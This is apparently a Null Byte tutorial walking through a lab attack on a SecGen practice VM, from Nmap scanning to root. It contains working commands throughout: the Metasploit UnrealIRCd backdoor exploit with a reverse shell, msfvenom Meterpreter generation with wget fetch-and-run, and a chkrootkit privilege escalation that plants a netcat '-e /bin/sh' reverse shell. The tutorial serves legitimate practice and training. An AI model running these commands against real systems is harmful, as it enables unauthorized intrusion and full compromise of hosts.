How to Attack a Vulnerable Practice Computer: A Guide from Scan to Shell

In my previous article, we learned how to generate a vulnerable virtual machine using SecGen to safely and legally practice hacking. In this tutorial, we will put it all together, and learn how to actually hack our practice VM. This will provide some insight into the methodology behind an actual attack and demonstrate the proper way to practice on a VM.

SecGen allows you to generate different scenarios for practice, balancing the surprises of real-life encounters with the safety of a legal hacking lab. Since the VM is a guest on my host, there are no worries about legality. I am also not concerned with how loud my tools are on the network. This is purely for demonstration purposes, attempting this on a machine without authorization could lead to serious legal ramifications.

In this guide, we'll be attacking our VM host on a Kali Linux system. You should use any platform that can run our virtual machine in VirtualBox. Our Raspberry-Pi-based Kali Linux hacking build, in this case, doesn't do well with virtualization, so if we want to use it, we'll have to run our guest VM on another computer and bridge the adapter.

Step 1: Enumeration

This is the first phase of our attack, and in this case, it's going to be short. This VM doesn't have a huge attack surface. I start out with an Nmap scan for initial recon.

nmap -A -p- -v victimMachine -oX nmap.xml | tee nmap.out

In this command, I'm telling Nmap to enable OS detection, version detection, script scanning, and traceroute with the -A argument. The -p- argument tells Nmap to scan all TCP ports, and -v tells Nmap to use one level of verbosity. The -oX argument tells Nmap to save results in an XML file called nmap.xml. The XML file can be helpful in the early stages of scouring with SearchSploit.

I then pipe it into tee to split STDOUT between my terminal and the file nmap.out. A pipe is a form of redirection in POSIX environments and is represented by the "|" character. The pipe sends the output (STDOUT) of one program into the input (STDIN) of another. This allows programmers to focus on Unix philosophy, the first tenant of which is "Do one thing well." Pipes allow for command chaining, which is a powerful way to build new utilities out of other existing utilities.

If you are interested in learning more about pipes, I recommend Brandon Wamboldt's article on the subject.

Throughout this article, I have substituted "victimMachine" and "attackingMachine" for the actual machine IP addresses.

While this scan is working, I fire up KeepNote and start a notebook on this project. I use KeepNote to store screenshots, keep track of information, and organize information supporting my attack. Even though this is only one host, good note-taking can really pay off. I suggest looking for a note-taking app that works for you. KeepNote is installed by default on Kali Linux.

On machines with a larger attack surface, it can be easy to go down the rabbit hole chasing a vulnerability that simply isn't there, or maybe is there but refuses to work for some reason.

Hammering away endlessly at something that isn't working can really screw up your workflow. If you suspect that something is vulnerable, but it isn't working, note it. Then rule out easier options first. The goal here isn't to have the most complex attack; the goal is root.

At first glance, both IRC and FTP seem like they would be excellent attack vectors. FTP is often misconfigured, out of date, and vulnerable. A cursory search shows that ProFTPd has multiple vulnerabilities, but none of those are the version that this machine is running. So I move on to what I'm hoping is the next lowest hanging fruit, IRC.

I use this command to establish a connection to the server, hoping to gather some more information.

echo -e "USER ident 0 * :Gecos\nNICK evilHacker" | nc victimMachine 6667

The -e argument in echo tells the command to interpret escape sequences. The rest is just the hello for an IRC connection. I send my echo'd text into netcat via pipe and get an excellent result.

I discover that the server is running version Unreal 3.2.8.1. Also, a little research shows that this particular version has a malicious backdoor installed.

Step 2: Gaining Access

Since I know that the vulnerability I am targeting has a module in Metasploit, I fire up a Metasploit console.

msfconsole

If you dislike the banners at launch, you can add the -q argument. Once within the console, I select my exploit and read the information available for it with the following commands.

use exploit/unix/irc/unreal_ircd_3281_backdoor

info

Next, I set the required options for my victim machine. In this case, I only need to set one option: the remote host.

set rhost victimMachine

I then set the options for my payload by entering the following.

set lhost attackingMachine

set lport 31337

set payload cmd/unix/reverse

This is a basic payload, but it should allow us to do some additional enumeration once we are connected. I would obviously prefer a Meterpreter session, but there aren't a lot of payloads to go with this exploit.

Once I'm satisfied with my settings, I run the exploit.

run

Which executes the Metasploit module and returns me a low privilege shell.

This is a strong foothold. Using this, I'll upgrade to a Meterpreter reverse TCP connection. To do this, first I generate a Meterpreter payload using msfvenom by typing the following.

msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=attackingMachine LPORT=6666 -f elf > /var/www/html/6666Met

This command generates a reverse TCP Meterpreter payload, which will connect back to my attacking machine on port 6666 in ELF format. I put it on the victim machine by using wget in our low-privilege shell.

wget attackingMachine/6666Met -O /tmp/met

I pull up another msfconsole on my attacking machine and prepare the handler for the incoming Meterpreter connection by typing the following commands.

use exploit/multi/handler

set LHOST attackingMachine

set LPORT 6666

set payload linux/x86/meterpreter/reverse_tcp

run

I then execute my uploaded Meterpreter on the victim machine. Doing so returns a nice Meterpreter shell. This is extremely helpful in managing connections. Bare-bones shells can be unreliable, and there's nothing worse than losing your shell in the middle of an engagement.

Step 3: Privilege Escalation

Currently, I'm not a privileged user. Even having unauthorized shell access as an unprivileged user is a huge security issue. But I, of course, want root.

In order to escalate privileges, I'm going to have to start enumerating the system. This is where keeping notes really pays off. I like to start out with automated tools and dig deeper if it's required. My preferred automated Linux privilege escalation script is LinEnum.sh. If this doesn't notice anything immediately, I use other scripts.

Eventually, if I'm stuck, I can sort manually based on g0tmi1k's basic Linux privilege escalation post. Inputting the commands manually and reading the output helps to slow the process down and allows me to be more methodical.

In order to get LinEnum on my victim machine, I put a copy in my attacking machine's /var/www/html directory, and then type the following into terminal.

wget attackingMachine/LinEnum.sh -O /tmp/lin.sh; chmod 700 /tmp/lin.sh;/tmp/lin.sh

This command pulls the script off of my attacking machine, the -O argument outputs the file to /tmp/lin.sh. I then change permissions to be rwx (read, write execute) for my user and run the script.

Alternatively, I could also just use Meterpreter to put the file on the remote host.

This is a lot of information to intake and requires some processing to understand. A lot of the time spent doing a penetration test is enumerating through all the information you collect and deciding on a course of action.

After significant enumeration, I discovered a vulnerable version of chkrootkit.

In this case, I did end up doing my enumeration manually. It also helped that I had encountered this particular vulnerability in the past. Metasploit has a module for this exploit, but it's trivial to just put our own file in.

When I write files on a compromised machine, I try to be careful about interactive programs like Vim, SSH, FTP, etc. In some cases, they can cause you to lose your shell. Some exploits can render machines unstable and may no longer work unless the machine is rebooted. This sucks because losing a shell can really mess things up. I create the /tmp/update file with the following commands.

echo "#!/bin/sh">/tmp/update

echo nc 172.28.128.1 6688 -e /bin/sh >> /tmp/update

chmod 777 /tmp/update

First, I redirect STDOUT into /tmp/update using the > redirection character. This redirects STDOUT into a file. Then I append my netcat command into the file. Lastly, I make the file executable by all.

This tells Netcat to connect to my attacking machine and execute /bin/sh. On the other side of the connection, I set up an ncat listener by entering the following command.

ncat -nlv attackingMachine 6688

Which tells Netcat to listen for an incoming connection to the attacking machine on port 6688. With this set up, I wait. After a short time, I receive a root shell connection on my attacking machine!

Putting It All Together

Tools like SecGen are great for practice. Many vulnerable machines are set up in a way that isn't very realistic. Many authors configure their machines to be clever. These can be fun, but they aren't always helpful. Other vulnerable machines offer a large collection of vulnerabilities, but they often feel like you're going through an exploitation checklist. With SecGen, the machine feels like an actual target, complete with genuine surprises.

I had a lot of fun with this machine. Getting my first shell was fast, but generally getting a shell isn't the hardest part. Since the attack surface on this host was small, I was able to quickly narrow in on a vulnerable service. On machines with a larger attack surface, pre-exploitation enumeration becomes more important.

The privilege escalation phase of this machine was very straightforward. There was no need to pull possibly broken exploit code off the web and try to get it working. The difficulty in this scenario was in post exploitation enumeration, which I used to determine what I could leverage to gain root.

This has been an outline of attacking a SecGen generated vulnerable VM. If you enjoyed this article, come hang out with us on social media!

• Follow Null Byte on Twitter and Google+
• Follow WonderHowTo on Facebook, Twitter, Pinterest, and Google+

Cover photo by SADMIN/Null Byte

Screenshots by Barrow/Null Byte